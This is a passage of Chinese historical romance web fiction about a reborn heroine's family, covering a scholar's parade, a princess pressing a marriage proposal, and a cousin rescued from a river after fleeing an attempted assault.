这是南楚文人都关注的一日。
也是南楚学子做梦都想参与的一日。
然,只有一百四十九人有此殊荣。
不管是第几名,只要在这一百四十九名之中,都是天之骄子。
这一日,国子监放假,让学子们去观状元游街,让他们体会一下万人瞩目的荣耀。
三年后希望他们也在其中。
霍鸣昶早早就去万家把万青黛接来与霍家人一起,在悦景茶楼靠大街的这一面坐下。
是霍凝玉让二弟去接的人,他应得十分爽快。
她就知道二弟对青黛真的有了那个意思。
今晚回去就和母亲说说,先给二弟把亲给定下。
等二弟十八岁时再成亲。青黛应该等得起。
“青黛,你哥当时会试是第四名。这段时间他有没有在家好好温书?”霍凝玉笑着问道。
“当然有。我希望大哥能更进一步,能进前三甲,我这个妹妹走出去都有脸面。祖父却说,大哥能保住第四名就很不错了。”万青黛对祖父的话有些不满。
但祖父是国子监祭酒,他的话应该比较中肯。
“我也希望他能更进一步。”霍凝玉想到恶心到她的廖含章正是会试第三名。
要是他是探花,真是老天无眼。
可,他是探花的可能性太大了。
上一届殿试,上上一届殿试,会试前三名和殿试前三名都没变。也不知道今日会不会有变。
“我也希望青鸿是探花。”容华芝也温声道。
她也想到了廖含章那只癞**。
“娘,儿子以后给你考个探花。”突然,霍鸣昶笑兮兮说道,还做了一个势在必得的手势。
“就你,和霍大哥比,差远了。”万青黛故意打击他。
“你们等着,今年八月,我就能过乡试,三年后我就参加会试。那时我可比大哥此时还小一岁,我肯定比大哥还要风光。”霍鸣昶雄心壮志。
“二弟好样的,大姐看好你。”霍凝玉相信自己的弟弟。
知道了家里前世的命运,二弟比前世懂事多了,也比以前用功多了。
就在这时,一声特别大的锣响传来。
“贴金榜了!”有人高喊。
第135章 扔步摇
慧兰县主见球最终被廖含章接了个正着,气得脸色铁青。
“还不快丢了。”身边的丫鬟冷声斥道。
廖含章本能一丢,不是丢到地上,而是抛向窗户,丢回给了慧兰县主。
而这一幕被隔壁的东临六公主看了个真切。
“哼,真是不知羞,抢男人抢得如此明目张胆。”萧婉仪进城的第一天就看出来,慧兰县主对霍鸣羡有意。
刚才抛绣球的一幕引得百姓一阵惊呼,也引得众多小姐们心里暗恨。
怎么自己就没想到这一招呢?
要是哪位进士接了她们的绣球,不就成就一段姻缘了?
当然也只在心里想想,这么大胆的行为,被人知道也会遭人诟病。
霍鸣羡的马已离开慧兰县主所在的楼下,只走了几步,就看到他真正想看到的人影。
萧婉仪没有把头伸出窗外,但四目还是对上了。
霍鸣羡骑的马好似能感应到背上人的心意似的,特意放慢了脚步。
霍鸣羡的眼神久久注视着窗户里的姑娘。
脸上的喜悦和眼中的温柔,让萧婉仪情不自禁抽下头上一根步摇,用力向霍鸣羡抛去。
准头不太好,眼看就要落到马屁股上,霍鸣羡身子向后一仰,手一探,稳稳接在手里。
步摇上还带着萧婉仪的体温。
而这一幕也同样被慧兰县主看在眼里。
气得眼睛发红。
“谁?是谁?去给本县主打听清楚。”慧兰县主恶狠狠地一跺脚。
丫鬟桂香出去,没一会儿就进来了。
“县主,隔壁门口有两个护卫守着,拦住奴婢。”桂香小心翼翼回禀。
“什么人敢用两个护卫?”慧兰县主一愣。
一般的小姐,最多用一个两个小厮守在门口,能用得起护卫的,极少。
除非像她母亲这样的身份,或者国公侯府等勋贵之家。
她含着怒气出了门,想亲自去看看,到底是何方神圣。
果然看到两个站姿笔挺的护卫在门口守着。
“通报一声,本县主要见你们主子。”语气盛气凌人。
平时她并不骄横跋扈,然而今日她怎么也控制不住。
那是她看上的男人,没接她的绣球也就罢了,居然接了别的女人的步摇。
一想到刚才所见,霍鸣羡居然还探身去接,气就不打一处来。
“对不起,慧兰县主,主子不愿被人打扰。”梁骐一拱手。
梁骐一开口,口音与南楚京城人完全不同,慧兰县主一下就猜到里面的人是谁了。
东临六公主!
她得叫一声表姨。
两人年龄相当,可对方却高了她一个辈分。
她不想见她,抬腿就想走。
就在这时,门打开了。
萧婉仪见游街的队伍已经走远,再待在这里已经没有意义,准备回使馆。
两个没见过面的女子就此四目相对。
萧婉仪第一天进城就通过马车窗见过她。
但,慧兰县主并没有见过萧婉仪。
两人的服饰就是身份的象征。
萧婉仪一身华贵的长裙,绣着五彩斑斓的八尾凤凰,头上也是八尾凤凰金簪,而慧兰县主只能绣五尾,衣服上也只能绣孔雀。
这就是身份的不同。
慧兰县主突然不知如何自处。
萧婉仪姿态傲然,面容淡漠地看着眼前的少女。
“你就是大表姐家的慧兰?见到长辈怎么不行礼问安?”萧婉仪一副长辈教训晚辈的口吻。
“见,见过表姨母。”慧兰县主很快冷静下来。
不过是东临的公主,又不是南楚的公主。
她母亲只不过是一个不起眼的妃子所生。
身份与她母亲相比,差的不是一点半点。
“刚才你抛绣球的举动,有失女子闺仪,看来你母亲并没教导好你。”萧婉仪又教训道。
就因为她的母亲不愿意和亲东临,才导致自己的母妃远离故土。
母亲心灵深处的孤独和寂寞,只有她这个做女儿的能理解。
所以她才来南楚,圆她母亲的心愿,替她回到故土。
她虽谈不上恨大公主,但绝不会喜欢她们母女。
“你不也扔了一个步摇下去?”慧兰县主脾气也上来了,不服气地反驳回去。
“今日扔步摇的女子何其多,而且本公主只是随便扔下去,并不像你,直接往男人的怀里扔,你这是生怕状元公接不住啊,你就这么恨嫁?”
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>“我......”慧兰县主当然不敢承认自己恨嫁。
无话可说的她,提了裙子匆匆离去,连告辞礼都没行一个。
看到她落荒而去的背影,萧婉仪嗤笑一声。
“以为多大能耐呢,原来也是被宠坏了的。”
萧婉仪在皇宫长大,与她母妃一起面对宫里的各种算计,见多识广,心志坚韧。
而慧兰县主在公主府长大,她是府里除了她母亲,身份最高,哪个敢不敬她?
高低立现。
“见过六公主。”霍凝玉上前一礼。
霍家人见霍鸣羡走远,也走出雅间,正好看到刚才的一幕。
“凝玉。”见是霍凝玉,萧婉仪淡漠的表情立刻变成笑脸。
上前牵起她的手。
两人很亲密。
“这几位是?”萧婉仪见容华芝的年纪比较大,心里有猜测。
“这是我母亲,这是我二弟霍鸣昶,这是我好友万青黛。”霍凝玉一一介绍。
“见过东临六公主。”几人一起见礼。
“霍夫人,不敢当。”萧婉仪立刻扶住容华芝。
想到心里的打算,以后也是她的长辈,怎可让她行礼。
容华芝顺着她的手站直身体,但手却拉住人家姑娘的手不放。
“六公主真是容貌脱俗,天人之姿。来了南楚,可还习惯?”容华芝开始关心起人来了。
脸上的笑温柔可亲。
“谢霍夫人关心。母妃时常让御厨做些南楚特有的菜吃,我也一起吃。来了南楚吃到更正宗的,很适应,味道真好。”萧婉仪见容华芝笑得那么可亲,心里忽然升起一丝暖流。
她早就打听过,霍家男儿不纳妾,这样的家最温暖。
听说他们一家人都特别相亲相爱。
这样的人家,才是她最向往的。
“六公主,明日我们霍府为鸣羡庆祝,宴请亲朋,公主可有空来霍府陪凝玉一起玩?”容华芝发出邀请。
会试那次只是一些上门道贺的人家,临时热闹了一下。并没有真正大摆宴席。
殿试过后才是真正的宴请。
“好啊,我一定来。”萧婉仪欣然接受。
只是第二日的宴请却让霍家人心里很不是滋味。
第136章 逼婚
前三甲里霍鸣羡和万青鸿都是京城人,两家同时举办宴席。
霍家父子双状元,这是何等的荣耀。
京里多数人家都来了霍家贺喜。
父子三人迎客忙个不停。
容家几个舅舅和表哥也站在门口帮忙。
容家的女眷就在内院帮着招呼客人。
钟离洛也同样告假。
容琳媛在门口看到那日抱着她回府的魁梧男子,也在门口帮着迎客,脸瞬间就红到了耳根。
回忆起他训她的话,又觉得好丢脸。
可是他的臂弯安全而有力,是她长这么大从没感受过的。
她闹的那个笑话被京里传得沸沸扬扬,让她一个月都没脸出门,今日是第一次出门。
钟离洛看到她时,也看了好几眼。
怎么瘦了那么多?
真是不懂得爱惜自己。
“大公主殿下到。”
“辰王殿下到。”
“霁王殿下到。”
“太子殿下到。”
连续几声高喊自马路东头传来。
霍鹏程父子一听,都望向来路。
这是怎么回事?
今日霍家有喜,霍鹏程告假没去早朝。
而这些人霍家并没有发请帖,怎么都一齐来了?
霍容两家人上前来迎客,纷纷行礼。
“恭喜尚书大人,贺喜霍状元。”太子赵昀熙在太子妃顾佳仪的搀扶下走在最前面。
其他几位也纷纷恭贺。
“多谢各位殿下,各位殿下能来,真是蓬荜生辉。”霍鹏程又一揖。
“今日早朝,父皇可是把你们父子狠狠夸了一通。
霍家父子双状元,我南楚有史以来唯一的例子。
要是以后霍二公子也考了状元,那真是我南楚大幸。
可谓天下之表率啊。
父皇让我们都来霍府沾沾喜气。哈哈......咳咳......”太子激动大笑,可身子不争气,笑得激动了些,引得一阵咳嗽。
“太子说得对,我南楚有霍家这样的书香之家,百年难遇啊,更是我南楚的肱骨之臣。”辰王也笑道。
“本宫记得当年霍尚书考状元时已经二十三岁,比你儿子还年长些,说明青出于蓝而胜于蓝啊。”赵明月也很会夸人。
身旁的慧兰县主一下车眼神就没离开过霍鸣羡。
“大公主殿下,到时我考会试时比大哥还要年轻。”霍鸣昶那稚气未脱的脸,更是自信。
“不得无礼。”霍鹏程训斥。
引得几位殿下都大笑不止。
“霍二公子有志气,本王等着看你金榜题名。”霁王也笑道。
“多谢霁王殿下,小子一定努力。”
众人被引进正院正堂。
而就在这时,东临六公主也来了。
霍鸣羡立刻出去迎接,而这一举动被几位殿下都看在眼里。
“见过大表姐,大表哥,二表哥,三表哥。”萧婉仪很有礼貌。
“哎哟,表妹,你这都来了好几日了,怎么都不到我公主府来坐坐?”赵明月话里藏话。
一个别国公主,还是庶公主,来了南楚,居然还摆架子。
就算有亲缘关系,那也是年纪小,更应该主动去拜访他们这些做表姐表哥的。就连太子府她都没去。
“大表姐,婉仪远道而来,车马劳顿,直到现在也还没休息过来,要不是皇舅舅是长辈,必须先拜见,婉仪都想再等两天才进宫。”萧婉仪答得不卑不亢。
“既然身子还没恢复,怎么又到霍家来了?”慧兰县主忍不住插嘴。
“哟,外甥女也在啊,怎么也没向表姨行个礼?”萧婉仪姿态优雅,面含微容。
可说出的话却让慧兰县主下不来台。
赵明月眼睛眯了眯,向女儿点了点头。
慧兰县主不得不上前一步向萧婉仪福了福身,又退到赵明月身后。
“霍大人,霍夫人,昨日我儿背着本宫做了一件颇为孟浪的事,回来后才向本宫说明她的心意。
她对霍大公子衷情已久,只是碍于女儿家的矜持,一直不敢说,只好借了昨天的场合,表达自己的心意。
今日正好趁这个机会,咱们说说孩子们的事情。”赵明月开门见山。
同时扫了萧婉仪一眼。
本来她还不急的,等殿试过后,两家再私下谈妥,再进宫请旨,谁知来了个东临六公主,好像与霍鸣羡很熟。
昨日游街霍鸣羡居然接了她的步摇。
“哈哈....霍尚
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书,真是双喜临门啊,本王觉得霍大公子与慧兰县主真是天作之合,本王愿意做这个媒。
慧兰县主生在京城,长在京城,大家都知根知底,你可不能拒绝。
要不今日就定下婚约?”辰王哈哈一笑,与赵明月一唱一和。
“大皇姐,昨日慧兰当众抛出去的绣球,霍大公子好像没有接到吧,臣弟记得是被一个叫廖含章的接到了。这事不少人看到,大皇姐可不能睁着眼睛说瞎话。”霁王不紧不慢打断。
“没错,大皇姐,本宫也听说了,最后是被廖含章接住,中途还砸在探花郎的肩上。慧兰抛出去的绣球可是被三个男子碰过。不能只与霍大公子谈婚论嫁吧。也得问问另两人的想法。”太子立刻附和。
辰王想尽办法想要与霍家扯上关系,太子怎么能如他们的愿。
真把他当**了。
霁王自然也是同样的目的,他宁可霍尚书是中立或者就是太子的人,也不愿他投向辰王。
“二舅舅三舅舅,我只喜欢霍大公子,我的绣球是抛给霍大公子的,因为太突然,把霍大公子吓着了,他才下意识挡开的。”慧兰县主听到两个舅舅居然如此说,心里一慌,生怕今日这事成不了。
她就喜欢霍大公子,她就要嫁给霍大公子。
“慧兰,你也是胡闹,你以为就你一人喜欢霍大公子吗?京城多少闺中小姐想嫁给状元郞,她们都是丢些帕子簪子之类。而你却抛什么绣球,如此不顾礼义廉耻,你把我们皇家的脸都丢尽了。”太子直接训斥。
他是太子,又是舅舅,身份上来讲也压大公主一头。
“三舅舅,她们怎么能与我比,我可是南楚嫡公主的女儿,是皇室血脉。”慧兰县主气得拔高声音。
“慧兰,你这么做是不顾别人的感受,你有没有问过霍大公子的意思?他是否中意你?霍家是否同意你们之间的婚事?”太子直指关键。
此话,把所有人的目光又引到了霍鸣羡的身上。
霍鸣羡没想到连宴都还没开,大公主就如此迫不及待。
“霍鸣羡,本宫问你,本宫的女儿可配得上你?”赵明月不问他是否中意慧兰县主,而是问配不配得上。
第137章 钟离洛的春天
霍鸣羡扫了众人一眼,霍鹏程和容华芝一时也不知道如何处理这样的事。
大公主是唯一的嫡公主,圣上一直宠着,胡来都不管她。
这要是一个不好,开罪了大公主,圣上只会站在大公主那边,霍家要是真嫌弃慧兰县主,就是嫌弃圣上的外孙女。
要是圣上一怒,很可能引来牢狱之灾。
“大表姐,你这话怎么那么像逼人家霍状元娶慧兰啊?
自古婚嫁都讲究父母之命,媒妁之言。而实际上我们每个人都想两情相悦。
慧兰这明显是剃头挑子一头热,你这不是为难霍状元吗?
难道南楚的皇家都是如此强势压人的吗?”还没等霍鸣羡开口,萧婉仪悠悠道。
那漫不经心的样子,说得异常随意。
“婉仪,你这话什么意思?难道我堂堂皇室的县主还配不上一个区区状元郎吗?就是王府世子,国公府世子,都得敬着本宫的女儿。”赵明月眼神凌厉起来。
“县主,只是她的身份,而她本人并没有给天下百姓做出过任何贡献,就是大表姐好像也没有做出过什么贡献。
而霍家的昭勇县主,协助南楚的皇城司使破了几起案子,还救过东宫的世子,更为皇舅舅挡过暗器。
就是如此她也没有挑肥拣瘦,想嫁谁就嫁谁,而是皇舅舅把她指给谁就嫁给谁。”萧婉仪还是一副漫不经心的口吻。
“你......”赵明月被堵得无话可说。
“大公主,我霍家没有攀权附贵的心思,这儿女婚事还是要两相情愿为佳。
所以我们做父母的从不强逼孩子。
直到如今我们也没听他说中意哪个女子,所以这婚事还是容后再说吧。”
霍鹏程这才表明态度,也是推口话。
“大公主,在下对慧兰县主确实无男女之情。”这时霍鸣羡也开口说明。
说出的话却让慧兰县主眼睛瞪得大大的。他居然对她毫无男女之意。
“你是不是喜欢东临六公主?昨日我看到你接了她扔下的步摇。”慧兰县主不顾两个当事人都在场,就这么不顾脸面说出来。
“县主,昨日向在下扔首饰的姑娘实在太多,在下也接了好些,不知道哪根是六公主的,在下全都送给了妹妹,正好可以省些钱买首饰。”霍鸣羡此话引得萧婉仪忍不住笑出声来。
霍家还缺那点买首饰的钱?
同时还有一个笑声传来。
正是刚走到门口的霍凝玉。
而她的头上正插着昨日萧婉仪扔下去的那只步摇。
“霍状元,你还真没说假话啊。昭勇县主头上的步摇正是昨日本公主扔向你的那只。”
萧婉仪的话更是证实了霍鸣羡所说。
昨日霍鸣羡其实就接了这一只步摇,回来后就给了霍凝玉,让她今日带着,目的当然就是为了今日会出现这种情况时用做借口。
他早就防着大公主故意趁今日说起婚事。
果然派上了用场。
赵明月和慧兰县主一时都下不来台。
“既然如此,慧兰,以后你就多与霍状元接触,让他看到你的心意。只要他一天没成亲,你就有机会。”辰王也只得打圆场。
当着太子和东临公主的面,他也不能做得太过。
“大皇兄说得对,感情需要慢慢培养。”霁王也假意做和事佬。
只要慧兰没有与霍家联姻就无所谓。
“客人都来了,大家都入席吧。”霍鹏程作为一家之主,见大家不再纠缠于儿子的婚事,立刻岔开,邀请大家入花厅。
同一时间,霍府小园子里,容琳媛偷偷让丫鬟把钟离洛请了过来。
钟离洛一身劲装,身姿矫健,浑身散发着无穷的力量感。
以前,容琳媛只喜欢一身书生气的男子,所以才会对沈知言一见钟情。
然而那等败类让她彻底认清了书生丑陋的一面。
反而像钟离洛这种粗汉,更让人感觉安全,没有花花肠子。
说一就是一,说二就是二。
“在下见过容小姐,你.....找我来可是有事?”钟离洛单独来见一个姑娘,脸有些发烫。
他也不知道如何与一个姑娘说话。
就是面对霍凝玉,他也是做得多,说得少。
“钟离公子,那日谢谢你送我回家。你的话让我彻底清醒。
以前是我不懂事,以为读书人都是明理的,谁知却有那等败类。
让我受到了人生最大的教训。找你来就是为了感谢你。”容琳媛说完,向钟离洛郑重地
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行了一礼。
“不必客气。我只是有感而发。以后多听听长辈的。你的父母才是最疼爱你的人。”钟离洛一拱手。
可是说到父母,他心里升起淡淡的伤感,他的父母早就过世,祖母虽也疼他,可也只是看在他是二房唯一的子嗣上,给了些关心。
大伯是疼他,可又时常不在家,但也越不过两个堂兄去。
从小他就得自己照顾自己。
要是他有父母,那是多么幸福的事。
“多谢钟离公子教诲。”容琳媛又福了福身。
钟离洛不好意思了,自己又不是他长辈,说教诲有点过了。
两人道过谢后,一时不知说什么好。
丫鬟站在不远处放风。
此时已经快开席,客人都去了花厅。
钟离洛正要说,去入席,容琳媛犹豫着又开口了。
“钟离公子,可有娶妻?”问完这话,脸又热了两分。
“还没。”钟离洛想都没想姑娘为什么会问一个问题,就干脆答道。
“那可有定亲?”开了头,容琳媛问得更顺口了。
“也没有。”他的身份很尴尬,祖母曾让大伯母给他张罗。
可大伯母怎么可能认真给他张罗,都找些连祖母的眼都过不了的人家。
还故意贬低他的身份。
就希望二房娶个上不得台面的媳妇。
得到自己想要的答案,容琳媛又不知道找什么话来说了。
两人又陷入沉默。
就在这时,园子外出现霍凝玉的身影。
远远看到表妹和钟离大哥在一起,吃了一惊。
什么时候表妹和钟离大哥走得这么近了?
再看丫鬟故意站远了些,她就知道两人肯定在私聊。
稍等了一会儿,可是见两人只是静静站着,谁也没有说话。
霍凝玉只得走过去,首先被丫鬟玲儿发现。
引起了两人的注意。
“表妹。我到处找你,原来你在这儿啊。”霍凝玉笑着上前。
“钟离大哥,该入席了。”
钟离洛一拱手匆匆离去,走了几步,又回头看了一眼容琳媛。
看着他走远,霍凝玉才古怪地看向表妹。
“表妹,跟表姐说实话,是不是觉得钟离大哥很威武?”
第138章 家人的陪伴
“嗯!”容琳媛羞涩地轻轻嗯了一声。
“要是这样的男子做夫君,一定特别有安全感。”霍凝玉继续套话。
“嗯!”
“我娘正在帮他找合适的人家相看亲事,也不知道什么样的姑娘他会喜欢?”霍凝玉再放招。
“真的吗?”
“当然是真的,只不过他的出身有点尴尬。所以这亲事有点不太好找。”
“其实男子的出生并不能说明一切。如果他自己足够努力,自己给自己挣一个前程,身份就会随之改变。就如那些寒门学子,一旦金榜题名,就改换了门楣。”
容琳媛觉得钟离洛作为武状元,不可能只安心在军营里做一个小小的游击将军。
“表妹看得很通透哦。”霍凝玉笑眯了眼。
表妹的意思已经很明显了,如果二舅舅和二舅母那关能过,两人真是天生一对。
一个温婉,一个铁血,刚柔相济。
两人刚走出园子,就看到一个身影匆匆而来。
正是最后一个来的赵炳煜。
“你怎么这时候才来?”霍凝玉一直没见到他人。
“皇上留我有一点事,一出宫就直奔霍府来了。”赵炳煜解释道。
本想牵霍凝玉的手,可看到容琳媛在旁边,不好当着外人的面过于亲密。
京里人都知道霍凝玉是赐婚给靖王世子,而不是皇城司使赵壑。
他真想找个机会把身份公开,他想早些把她娶回家。
“见过赵大人,小女谢过赵大人。”容琳媛福了福身。
“不必谢,你是凝玉的表妹,帮你是看在凝玉的面上,要谢你应该谢你表姐。”赵炳煜推辞道。
“皇上找你谈什么事?”霍凝玉只是随口问问,并没有要打探的意思。
“阳东县的案子,刑部和大理寺都重审了一遍,兴隆镖局的总镖头终于开口,我可能要离京一段时间。”
“去哪里?”霍凝玉立刻提起了心。
“漳州府。”赵炳煜也不瞒她。
“那你一定要小心。”霍凝玉一听地名就知道他要去做什么。
把西凉安插在漳州的据点给端了。
“嗯。过了端午再走。”
容琳媛见两人说话居然这么亲近,心里升起疑惑,可又不敢问。
这一日,霍家热闹到申时才散去。
可想到今日几位殿下同时来霍家,一家人心里都没有多少高兴劲儿。
个个都盯着霍鸣羡的婚事。
“鸣羡,你与六公主现在什么情况?”容华芝着急问道。
“母亲,不用担心。”霍鸣羡能感觉到六公主对他的心意,只不过两人见面太少,还没机会挑破那层窗户纸。
以前在东临,他明确拒绝人家,他都不知道怎么来挑破这层纸。
“大哥,我估计辰王和霁王也会打主意,所以你还是早些与六公主表明心意。
我们霍家只是臣,不能主动向圣上请旨赐婚。
而且历来和亲的公主就没有嫁入臣子家的,皇上也不会答应。”霍凝玉分析道。
“我知道,再过几日就是端午,那日定有机会见面。”他早就计划好。
这几日看看有没有机会偶遇吧。
五月初四。
这一日霍家人没有一个脸上带笑的。
霍凝玉看到母亲总是含着湿意的眼睛,心里也很难受。
明日就是端午,国子监放假两日,霍鸣昶起了床就陪在大姐身边,霍凝玉走到哪儿,他就跟到哪儿。
而霍鹏程也只上了早朝就告假回家。
今日他要陪着女儿一整天。
霍鸣羡也拿了一本书做样子,但也是不离霍凝玉左右。
因为今日正是霍凝玉前世被谢正阳毒死的日子。
她一直坚持,坚持到霍鸣羡殿试结束,又被谢正阳告诉她的真相刺激,她再也支持不住,含恨闭上了眼睛。
霍凝玉看到家人都默默陪着她,心里的暖流一直流淌。
她什么也没说,她知道家人对她的关爱。
拿了赵凌哲送给她的细鞭,在院子里甩起了鞭子。
钟离洛不在霍家住了,青风就站在一旁做指导。
而他也看出霍家的人今日很奇怪。
没了往日的说说笑笑。
只有霍凝玉还和以前一样,该做什么就做什么。
甩鞭累了,休息一下,又继续弹弹琴,还拉着容华芝一起。
容华芝也是官家女,琴也弹得不错。
但自从霍凝玉重生后,努力学习,现在她的技艺已在容华芝之上。
霍鸣羡拿出一支箫,与霍凝玉的琴音相和。
“爹,我怎么觉得大哥吹箫比您吹得好?他还是您教的呢。”霍鸣昶认真看着弹琴的姐姐,说了句欠揍的话
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“你不知道青出于蓝而胜于蓝吗?”霍鹏程没好气地瞪了一眼小儿子。
“为了养活你们三个孩子,成天忙得跟陀螺似的,哪有时间玩风雅。”霍鹏程感慨。
“爹,您这话就太假了吧?好像娘管家就没付出努力似的,小心娘不理您。”霍鸣昶想活跃一下气氛。
可他自己也笑不出来。
想到大姐说他在牢里被硬生生打断腿,那得有多疼啊。
平时磕破点皮都要到母亲面前扮可怜,求抚摸的他,却在大姐的人生里经历了那样的残酷。
想到大姐是眼睁睁看着那一刻,大姐的心得有多痛。
想着想着,他的眼睛也受不住,泪了,但没人笑话他。
霍凝玉当没看到二弟的变化,只认真弹琴,曲调本来很优美,可从她的指尖流淌而出时,却无形中被注入了无尽的伤感。
但她还是一刻也没停,把整首曲**完,赢得一家人的掌声。
今日过后,她就放下过去,开始全新的生活,不再拘泥于过去。
她没有嫁入谢家,没有**宁母女设计,也没有被谢正阳下毒。
现在只剩一件事,保住霍家。
直到现在辰王还在行拉拢霍家之举,他注定会竹篮打水一场空。
前世她嫁入谢家,没有被辰王利用的机会。
前世大哥早早与陈家定了亲,还于去年就娶回了家,也没有辰王利用的机会。
这一世因她的重生,改变了太多,江宁提前嫁入谢家,也不知道他们与辰王之间合作到了何种程度,还会不会用前世的手段来诬陷霍家,她也不能保证了。
但,她不怕,她有赵大哥做后盾,一切都会如愿的。
青风远远又看了一会儿,转身离去。
主子交代,霍家有什么异常一定要第一时间告诉他,尤其县主的事,更不能马虎。
得到消息,赵炳煜眉头紧锁。
这几日好像没什么事发生。
那日宴请,虽几位殿下同时到场,闹了一些不愉快,但也没什么影响。
他没有第一时间去霍家。既然凝玉没有告诉他,说明不想让他知道。
到了下午申时末,赵炳煜还是忍不住来了。
可一来就看到容华芝提着一篮子香烛纸钱,身后的丫鬟也提了一个篮子,里面是几盏白纸折叠的河灯。
第140章 告别过去
“钟离大哥,你怎么在这儿?”霍鸣昶最先来到钟离洛身后。
钟离洛听到熟悉的声音才转过身来,就看到霍家人都来了这里。
“见过霍叔,容姨。”钟离洛立即上前行礼,“你们怎么这时候来这儿?”
“明天就是端午节了,每年都会在东江举行龙舟赛,而每年都有人落水淹死,所以我们来祭拜一下水神,祝今年的端午节不管哪里都不要有人落水淹死。”霍凝玉瞬间想了一个借口。
“凝玉就是心善。”钟离洛笑道。
可是他看到霍凝玉明显哭过,眼睛还肿胀发红。
他想问,可看到赵炳煜在旁,又把冲动压了下去。
“钟离大哥怎么这个时候在这里?”霍凝玉奇怪问道。
“我今日正好在这边训练。你说当时就是在这里把我捞上来的。所以就到这里来看看。”钟离洛其实也是来与过去做个告别。
这里曾是他差点葬身的地方,他要来看看,记住霍凝玉给他新生的恩情。
赵炳煜把兴隆镖局搜到的证据给他看过。
他早有猜测是大伯母请**杀他,但也同时正中那些人的下怀。
也就是不管大伯母找不找人,他都会遇到刺杀。
看在大伯的份上,他不会把大伯母如何,但他会提高自己的能力,带好自己手下的兵,有朝一日,他一定上战场,把西凉打得落花流水。
为自己报仇,为百姓报仇。
“当时我就是在那个位置让青风把你捞起来的。青风一眼就看出你中了毒,我们就快马加鞭回城。要不是赵大哥请来太医,还不一定能把你救活。”霍凝玉指着一个位置给他看。
“谢谢你。”钟离洛收回目光,温柔一笑。
“阿洛,你在军营里可要照顾好自己,一有空就回家来,我让人给你准备了几件夏衫,天越来越热,你训练定是经常出汗,衣服要勤换。”这时容华芝插话道。
钟离洛在霍家住了那么久,她已把他当自家子侄看待。
霍家人虽遭江宁母女那样的白眼狼背叛,也改不了善良的一面。
“多谢容姨,我会照顾好自己的,有假了,我一定回来。”钟离洛心里暖暖的。
“你训练也不要太累。”霍鹏程拍了拍他的肩。
霍鸣羡也如此。
把东西从马车上拿下来。
霍凝玉接过篮子,开始撕纸钱。
霍鹏程点了火。
两兄弟一个点香一个点烛。
每个人都做得异常认真。
赵炳煜拿了河灯点上。
钟离洛想帮忙,被赵炳煜拦住。
霍凝玉从他手里接过点着的河灯,轻轻放入河中。
在心里默念着早就想好的祈祷之语。
往昔已过,不可追忆。
流年笑掷,未来可期。
吾心所求,家人平安。
所爱之人,真心待我。
不求荣华富贵,只求喜乐安康。
容华芝也虔诚地跪在江边,向河神絮絮叨叨。
没人听清她说了什么。
父子三人也神情严肃看着她们母女。
赵炳煜点一盏霍凝玉就放一盏。
直到四盏洒灯都被她送入江中,看着远去的灯,一切不好的事都随水而去。
霍凝玉深深吸了一口带着江水气息的空气,又重重地呼出。
一吸一呼间,她感觉一切污浊都消失不见。
可就在此时,钟离洛突然一个猛子扎进水里,快速向江中游去。
他的动作把大家的目光都引向了江中间。
一个漂浮物正在起起伏伏。
“那是什么?”容华芝被吓了一跳。
天色已暗下来,眼神不好,真看不清。
“好像是个人。”赵炳煜眼神不错,但也不能确定。
钟离洛动作很快,抓到人就立即往回拖。
赵炳煜和霍鸣羡帮着把人拉上岸。
一看穿着就知是个姑娘。
霍凝玉将姑娘的脸翻过来。
“表妹!?”
“我的老天爷,怎么是琳媛?”容华芝简直不敢相信自己的眼睛。
钟离洛一看到是之前抱过,曾问他有没有成亲或定亲的姑娘。
他再傻都听懂了姑娘的意思。
可他知道自己的身份,不敢有非分之想。
懂了也装不懂。
可看到姑娘昏迷不醒,他心急如焚。
也不管男女大防,先摸一下容琳媛还活着没。
感觉脖颈处还有微弱的脉动,但非常慢。
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立刻把人抱起来趴放在自己的腿上,开始有节奏地拍她的后背。
容琳媛肚子里的水,在他的拍打下,开始往外溢。
又放到地上,开始给她按压心脏。
个个都紧张地看着他的动作。
“凝玉,这是怎么回事?”容华芝急得直在原地打转。
“娘,我也不知道。”霍凝玉真的不知道。
前世真没发生这件事。
而且前世的今日是她的死日,她也没可能跑到东江边来。
容华芝无助地直抹眼泪。
“好不容易把她的心从那骗子身上拉回来,你二舅母正在给她找合适的人家。怎么就成了如此模样?”容华芝真的要急**。
要是侄女救不回来,二哥两夫妻得多心痛,父母失了孙女,得多伤心,她也好心痛。
“咳咳.....”就在容华芝急得不知所措之际,容琳媛的咳嗽声响起。
“琳媛,琳媛!”容华芝激动大叫。
容琳媛缓缓睁开眼睛,正好看到悬在她头顶的是钟离洛。
“钟离大哥,哇......”容琳媛刚喊了哇的一声大哭起来。
钟离洛把人从地上抱起,容琳媛不管不顾,死死搂住他的脖子,哭得死去活来。
“琳媛,告诉姑姑,到底发生什么事了?你怎么会落进东江里?”容华芝急急问道。
“等孩子哭一哭,一会儿再问。”霍鹏程拉住妻子。
“现在没事了,没事了。“钟离洛如哄孩子般,轻轻拍着容琳媛的背,给予她最大的安慰。
可是被吓坏了的容琳媛越哭越凶。
霍凝玉去车上拿了一件衣服披在表妹身上,天色已经快要黑下来,江风一吹,很容易得风寒。
“还是先抱上马车,回城再说,城门快要关了。”赵炳煜提议。
“对对对。快,阿洛,把人抱上车。”
几人把东西稍作收拾上车,往回赶。
在车上,霍凝玉为她换下身上的湿衣。把自己平时放在马车里的一套衣服给她穿上。
换上衣服,钟离洛又上车来,用殷切的眼神看着还难过不已的姑娘。
“表妹,现在可以说说怎么回事了吗?”霍凝玉搂住容琳媛,轻声问道。
第141章 让他受尽折磨后死,才解恨
“我今日去护国寺上香,正准备回来时,一个小沙弥说有人找我,让我一个人去,还给了我一样东西。
我一看就知道是沈知言,可我想把他手里的其它东西要回来,我一个闺中小姐的东西绝不能落在他手里。
我就去了。
他见了我,向我下跪道歉,还说他已经与他的妻子和离,现在娶我就不是停妻另娶。
他对我念念不忘,想与我重归于好,会一心一意待我。”说到这里,容琳媛的眼泪又下来了。
霍凝玉轻轻为她擦去。
“你怎么这么傻?你就不应该去见他。”钟离洛听了就来气,上次说得还不够重,还这么天真。
“我......”容琳媛被噎住,不知道说什么好。
她确实不应该去见他,那就是个疯子。
以前有多谦谦君子,现在就有多下作。
“你是怎么落入东江的?”钟离洛冷声问道,一点没有要哄姑娘的意思。
他是恨铁不成钢。
“他说了很多好话,我无动于衷。他就失去了耐心,拉我去了护国寺后山。我一个姑娘家顶不过他的力气,又被他塞住了嘴,想喊人救命都喊不出来。
他居然要对我行不轨之事。想把生米煮成熟饭。
慌乱中,我捡到一块石头砸在他头上,才得以逃脱。
可是我力量太小,并没有把他打晕。他回过神来就追着我跑。
